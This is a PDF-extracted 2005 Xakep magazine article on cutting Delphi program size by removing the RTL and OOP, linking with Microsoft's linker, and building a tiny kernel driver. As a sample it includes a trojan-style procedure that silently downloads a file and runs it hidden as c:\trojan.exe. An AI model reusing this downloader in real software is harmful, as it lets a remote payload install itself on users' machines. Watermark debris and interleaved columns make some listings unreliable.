книги хакеры / журнал хакер / 080_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
df-xchan |
|
|
|
|
Dождались!df-x chan |
|
|
|
|
|||||||||||
|
|
|
|
to |
BUY |
|
|
|
|
|
|
|
|
|
|
to |
BUY |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
e |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
в РОССИИ |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
c 14 сентября |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
и навсегда |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Все дело в технике |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
НЬЮСЫ |
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
o |
|
||
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
FERRUM
PC_ZONE
ИМПЛАНТ
ВЗЛОМ
СЦЕНА
UNIXOID
КОДИНГ
КРЕАТИФФ
ЮНИТЫ
112
Delphi всемогущий
ТЫ ПИШЕШЬ НА ДЕЛЬФЯХ И ЧУВСТВУЕШЬ СЕБЯ АУТСАЙДЕРОМ? ТЕБЕ НЕЧЕМ ОТВЕТИТЬ В БЕСКОНЕЧНЫХ HOLYWAR'АХ? ТЕПЕРЬ ТЫ ТОЧ- НО БУДЕШЬ ЗНАТЬ: ДЕЛЬФИ СТОИТ ТОГО, ЧТОБЫ ЕГО ЛЮБИТЬ. И НЕ ТОЛЬКО ИЗ-ЗА ПРОСТОТЫ ЭТОГО ЯЗЫКА. ОЧЕНЬ МАЛЕНЬКИЕ И ОЧЕНЬ БЫСТРЫЕ ПРОГРАММЫ НА ДЕЛЬФИ — ЭТО ВОЗМОЖНО! ТЫ РАССКАЖЕШЬ ОБ ЭТОМ ВСЕМ СОМНЕВАЮЩИМСЯ. И С МНЕНИЕМ, ЧТО ДЕЛЬФИ — ЯЗЫК ДЛЯ ЛАМЕРОВ, БУДЕТ ПО-
КОНЧЕНО! | Ms-Rem (Ms-Rem@yandex.ru, ms-rem.narod.ru)
Выжимаем из Delphi все возможное
Многие системные программисты привыкли считать Delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой фор-
мы с кнопкой — 400 килобайт. Впро- |
На диске лежат полные |
чем, иногда никаких аргументов и вов- |
исходные коды всех |
се не приводится. Когда на форумах |
приведенных в статье |
сталкиваются поклонники С++ и Delphi, |
примеров. |
первые обычно кричат о супернаворо- |
|
ченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, что в системном программировании все это необходимо, а вторые — о возможностях того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про Delphi, ни про C++ ничего толком не знают, и все это — пустая ламерская болтовня.
Эта статья посвящена приемам системного программирования на Delphi. Она написана для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится вложить в свое дело определенный труд. Я покажу, как делать на дельфи то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не составит труда найти целую кучу статей по оптимизации. Если же ты пишешь на Delphi, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужно. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже давно с ним смирился? Что ж, придется немного расстроить твои нервы и развеять священные заблуждения.
[немного о генерируемом компилятором коде] Для начала проверим утверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением API. Вот что у меня получилось:
procedure DownloadAndExecute(Source: PChar); stdcall; const
DestFile = 'c:\trojan.exe';
begin
UrlDownloadToFile(nil, Source, DestFile, 0, nil); WinExec(DestFile, SW_HIDE);
end;
Этот сорец я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированный листинг:
DownloadAndExecute proc near |
|
Source = dword ptr 8 |
|
pushebp |
|
mov ebp, esp |
|
push0 |
; LPBINDSTATUSCALLBACK |
push0 |
; DWORD |
pushoffset DestFile |
; LPCSTR |
mov eax, [ebp+Source] |
|
pusheax |
; LPCSTR |
push0 |
; LPUNKNOWN |
call URLDownloadToFileA |
|
push0 |
; uCmdShow |
pushoffset DestFile |
; lpCmdLine |
call WinExec |
|
pop ebp |
|
retn 4 |
|
DownloadAndExecute endp |
|
DestFile db 'c:\trojan.exe',0 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|
||||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
|
и где же куча лишнего кода, о котором некоторые так любят говорить? |
||||
|
w |
|
|
|
|
|
|
|
Íó,o |
|||
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
Все просто и красиво, почти то же самое можно написать вручную на ассе- |
|||||
|
|
|
|
|
|
|
|
|
мблере. Тем более, что на нем некоторые умники иногда такое выдают — любые ошибки компилятора покажутся мелочью :).
Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его не генерирует? Сейчас мы разберем этот вопрос подробнее.
[ООП — двигатель прогресса] ООП — весьма модное в настоящее время направление программирования. Его цель — упростить написание программ и сократить сроки их разработки, и с нею ООП прекрасно справляется. Большинство прикладных программистов, пишущих на С++ или Delphi, уже не мыслят своей деятельности без ООП. Их главный принцип — быстрее сдал программу, быстрее получил деньги. В таких условиях о какой бы то ни было оптимизации просто забывают.
Àведь если взглянуть на дело глазами системного программиста, то сразу станет очевиден главный недостаток: ООП — качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При создании объекта этого класса компилятор будет вынужден полностью включить в его состав также код родительского класса, поскольку нет возможности определить, какие методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает в реальных программах, то весь его код войдет в программу, и от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через десять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность рабочего. Все это хорошо видно на примере библиотеки VCL в дельфи.
Àвот программа, написанная на VB или на VC с применением MFC, отче- го-то занимает гораздо меньше места. Все потому, что великая и ужасная компания Microsoft приложила к этому свою лапу. MFC и runtime-библиоте- ки в VB весят ничуть не меньше, просто они скомпилены в DLL и входят в поставку Windows, а значит, их код не приходится таскать с собой в программах. В защиту Borland можно сказать, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку Build with runtime packages, тогда программа значительно уменьшится, но потребует наличия соответствующих runtime-библиотек. Естественно, эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.
Любители ООП, желающие разрабатывать программы в визуальном режиме, могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом ее недостатков. Средний размер пустой формы с кнопкой — 35 Кб, что уже лучше, но для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое.
Те, кто хочет добиться действительно высокой эффективности кода, должны идти по принципиально другому пути: забыть про ООП и все, что с ним связано, раз и навсегда. Писать программы придется только на чистом API.
[виновник номер два] Создадим в Delphi пустой проект, заведомо не содержащий никакого полезного кода:
program Sample;
begin
end.
После компиляции в Delphi 7 мы получаем экзешник размером в 13,5 Кб. Откуда?! Ведь в программе ничего нет! Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем экзешник и посмотрим, что он содержит. Точка входа в программу будет выглядеть так:
public start
start:
push ebp mov ebp, esp
add esp, 0FFFFFFF0h mov eax, offset ModuleId call _InitExe
; здесь мог бы быть наш код call _HandleFinally
CODE ends
Весь лишний код находится в функциях _InitExe и _HandleFinally. Дело в том, что к каждой Delphi программе неявно подключается код, входящий в состав RTL (Run Time Library). Эта либа нужна для поддержки таких возможностей
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
t |
|
||
|
P |
D |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
||||
языка, как ООП, работа со строками (string) и специфичные для паскаля функ- |
|
|
|
|
|
|
o |
|
|||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
ции (AssignFile, ReadLn, WriteLn, etc.). InitExe выполняет инициализацию всего |
|
-x cha |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов. |
|
|
|
|
|
|
|
|
|||
Сделано это, опять же, для упрощения жизни программистам, и примене- |
|
|
|
|
|
|
|
|
|||
ние RTL иногда оправданно, так как может не понизить, а повысить эффек- |
|
|
|
|
|
|
|
|
|||
тивность кода. Например, в состав RTL входит менеджер кучи, который |
|
|
|
|
|
|
|
|
|||
позволяет быстро выделять и освобождать маленькие блоки памяти. |
|
|
|
|
|
|
|
|
|||
По своей эффективности он в три раза превосходит системный. В плане |
|
|
|
|
|
|
|
|
|||
производительности генерируемого кода работа со строками реализована |
|
|
|
|
|
|
|
|
|||
в RTL тоже довольно неплохо, правда все равно, в увеличении размера |
|
|
|
|
|
|
|
|
|||
файла, RTL — виновник номер два после ООП. |
|
|
|
|
|
|
|
|
|
|
|
[уменьшаем размер] Если минимальный размер в 13,5 Кб тебя не уст- |
|
|
|
|
|
|
|
|
|||
раивает, то будем убирать Delphi RTL. Весь код либы находится в двух фай- |
|
|
|
|
|
|
|
|
|||
лах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к |
|
|
|
|
|
|
|
|
|||
программе в любом случае, поэтому единственное, что можно сделать, — |
|
|
|
|
|
|
|
|
|||
удалить из этих модулей весь код, без которого программа может рабо- |
|
|
|
|
|
|
|
|
|||
тать, и перекомпилить модули, а полученные DCU-файлы положить в пап- |
|
|
|
|
|
|
|
|
|||
ку с программой. |
|
|
|
|
|
|
|
|
|
|
|
Файл System.pas содержит основной код RTL и поддержки классов, но все это |
|
|
|
|
|
|
|
|
|||
мы выбросим. Минимальное содержимое этого файла должно быть таким: |
|
|
|
|
|
|
|
|
|
|
|
unit System; |
|
|
|
|
|
|
|
|
|
|
|
interface |
|
|
|
|
|
|
|
|
|
|
|
procedure _HandleFinally; |
|
|
|
|
|
|
|
|
|
|
|
type |
|
|
|
|
|
|
|
|
|
|
|
TGUID = record |
|
|
|
|
|
|
|
|
|
|
|
D1: LongWord; |
|
|
|
|
|
|
|
|
|
|
|
D2: Word; |
|
|
|
|
|
|
|
|
|
|
|
D3: Word; |
|
|
|
|
|
|
|
|
|
|
|
D4: array [0..7] of Byte; |
|
|
|
|
|
|
|
|
|
|
|
end; |
|
|
|
|
|
|
|
|
|
|
|
PInitContext = ^TInitContext; |
|
|
|
|
|
|
|
|
|
|
|
TInitContext = record |
|
|
|
|
|
|
|
|
|
|
|
OuterContext: |
PInitContext; |
|
|
|
|
|
|
|
|
|
|
ExcFrame: |
Pointer; |
|
|
|
|
|
|
|
|
|
|
InitTable: |
pointer; |
|
|
|
|
|
|
|
|
|
|
InitCount: |
Integer; |
|
|
|
|
|
|
|
|
|
|
Module: |
pointer; |
|
|
|
|
|
|
|
|
|
|
DLLSaveEBP: |
Pointer; |
|
|
|
|
|
|
|
|
|
|
DLLSaveEBX: |
Pointer; |
|
|
|
|
|
|
|
|
|
|
DLLSaveESI: |
Pointer; |
|
|
|
|
|
|
|
|
|
|
DLLSaveEDI: |
Pointer; |
|
|
|
|
|
|
|
|
|
|
ExitProcessTLS: |
procedure; |
|
|
|
|
|
|
|
|
|
|
DLLInitState: |
Byte; |
|
|
|
|
|
|
|
|
|
|
end; |
|
|
|
|
|
|
|
|
|
|
|
implementation |
|
|
|
|
|
|
|
|
|
|
|
procedure _HandleFinally; |
|
|
|
|
] |
|
|
|
|
||
|
|
|
|
113 |
|
|
|
|
|||
asm |
|
|
|
|
|
|
|
|
|
||
end; |
|
|
|
|
|
КОДИНГ |
|
|
|
|
|
end. |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
[XÀÊÅÐ 08 [80] 05 >
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
||||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
|
|
|
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Описания структуры TGUID компилятор требует в любом случае и без нее компилировать модуль отказывается. TInitContext понадобится линкеру, если мы будем собирать DLL. HandleFinally — процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.
Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Нам хватит следующего:
в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc-файлов. Тут может встретиться еще одна проблема — повторяющийся код (когда несколько inc-файлов подключают один и тот же inc), компилятор в таких случаях компилировать откажется. Выйти из положения можно, воспользовавшись директивами условной компиляции, после чего любой inc-файл будет иметь вид:
КОДИНГ 114]
[XÀÊÅÐ 08 [80] 05 >
unit SysInit; |
{$ifndef win32api} |
|
interface |
{$define win32api} |
|
|
||
procedure _InitExe; |
// здесь идет наш код |
|
procedure _halt0; |
|
|
procedure _InitLib(Context: PInitContext); |
{$endif} |
|
var |
Таким образом, можно писать без RTL достаточно сложные программы и |
|
ModuleIsLib: Boolean; |
забыть о неудобствах. |
|
TlsIndex: Integer = -1; |
[можно еще меньше!] Наверняка минимальный размер экзешника в 3,5 |
|
TlsLast: Byte; |
Кб удовлетворит не всех. Что ж, если постараться, можно ужать его еще в |
|
const |
несколько раз. Для этого нужно отказаться от удобств работы с борландо- |
|
вским линкером и собирать исполнимые файлы линкером от Microsoft. К со- |
||
PtrToNil: Pointer = nil; |
жалению, здесь нас ждет одна загвоздка. Мелкософтовский линкер исполь- |
|
implementation |
зует в качестве основного рабочего формата COFF, но может понимать и |
|
интеловский OMF. Однако программисты Борланда (видать, нарочно) в вер- |
||
procedure _InitLib(Context: PInitContext); |
сиях Delphi выше третьей изменили генерируемый формат obj-файлов так, |
|
что теперь он несовместим с Intel OMF. То есть теперь существуют два ви- |
||
asm |
да OMF: Intel OMF и Borland OMF. Программы, способной конвертировать |
|
end; |
объектные файлы из формата Borland OMF в COFF или Intel OMF, я не на- |
|
procedure _InitExe; |
шел. Поэтому придется использовать компилятор от Delphi 3, который гене- |
|
рирует стандартный объектный файл Intel OMF. Импорт используемых API |
||
asm |
нам тоже придется описывать вручную, причем достаточно необычным спо- |
|
end; |
собом. Для начала возьмем библиотеку импорта user32.lib из состава Visual |
|
procedure _halt0; |
C++ и откроем ее в HEX-редакторе. Имена функций в ней имеют вид |
|
"_MessageBoxA@16", где после @ идет размер передаваемых параметров. |
||
asm |
Следовательно, объявлять функции мы будем таким образом: |
|
end; |
function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType: |
|
end. |
||
Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16'; |
InitExe — процедура инициализации RTL для EXE-файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальные лишние структуры и переменные, которые пришлось оставить, необходимы компилятору. Они не будут включаться в выходной файл и никак не повлияют на его размер.
Теперь положим эти два файла в папку с проектом и скомпилируем их из командной строки:
dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O
Избавившись от RTL, мы получили экзешник размером в 3,5 Кб. Борландовский линкер создает в исполняемом файле шесть секций, они выравниваются по 512 байт, к ним плюсуется PE-заголовок, что и дает эти 3,5 Кб.
Но вдобавок к малому размеру, мы получаем и определенные затруднения, так как теперь не сможем использовать заголовочные файлы на WinAPI, идущие с Delphi. Вместо них придется писать свои. Это нетрудно, поскольку описания используемых API можно брать из борландовских хедеров и переносить в свои по мере необходимости.
Если в составе проекта есть несколько PAS-файлов, линкер для выравнивания кода вставит в него пустые участки, и размеры опять увеличатся. Чтобы этого избежать, нужно всю программу, включая определения API, помещать
Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:
unit HelloWorld;
interface
Procedure Start;
implementation
function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';
Procedure Start; begin
MessageBoxA(0, 'Hello world!', nil, 0);
end;
end.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|
||||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
|
модуля UNIT нужен для того, чтобы компилятор генерировал в объект- |
||||
|
w |
|
|
|
|
|
|
|
Òèïo |
|||
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
ном файле символьные имена объявленных процедур. В нашем случае это |
|||||
|
|
|
|
|
|
|
|
|
будет процедура Start — точка входа в программу. Теперь компилируем проект следующей строкой:
dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWorld.pas
Новый файл HelloWorld.obj открываем в HEX-редакторе и смотрим, во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец, выполним сборку:
link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe
В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:
;Attributes: bp-based frame
;char Text[]
Text db 'Hello world!',0
public start |
|
start proc near |
|
push 0 |
; uType |
push 0 |
; lpCaption |
push offset Text ; lpText |
|
push 0 |
; hWnd |
call MessageBoxA retn
start endp
Ни байта лишнего кода! Покажи этот пример всем, кто любит говорить о большом размере программ, написанных на дельфи, и понаблюдай за их выражением лица — это прикольно :). Самые упорные промычат: «А... Э...
Все равно дерьмо!», но уже никто ничего не скажет по существу. А самые продвинутые спорщики приведут последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас и они присоединятся к проигравшим :).
[пишем драйвер на Delphi] О том, как по нашей методике сделать невозможное — написать на Delphi драйвер режима ядра, даже есть статья на RSDN, и всем интересующимся я рекомендую ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки. Файл Driver.pas:
unit Driver;
interface
function DriverEntry(DriverObject, RegistryPath: pointer): integer; stdcall;
implementation
function DbgPrint(Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';
function DriverEntry(DriverObject, RegistryPath: pointer): integer; begin
DbgPrint('Hello World!'); Result := -1;
end;
end.
Ôàéë make.bat:
dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V- ,W+,X+,Y- Driver.pas
link.exe /DRIVER /ALIGN:32 /BASE:0x10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sys
Для компиляции нам понадобится файл ntoskrnl.lib из DDK. Мы получим драйвер размером в килобайт, который выводит сообщение «Hello World» в отладочную консоль и возвращает ошибку, а потому не остается в памя-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
t |
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
NOW! |
r |
||||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
ти и не требует определения функции DriverUnload. Для запуска драйвера |
|
|
|
|
|
|
.c |
|
|||
|
. |
|
|
|
|
|
|
|
|||
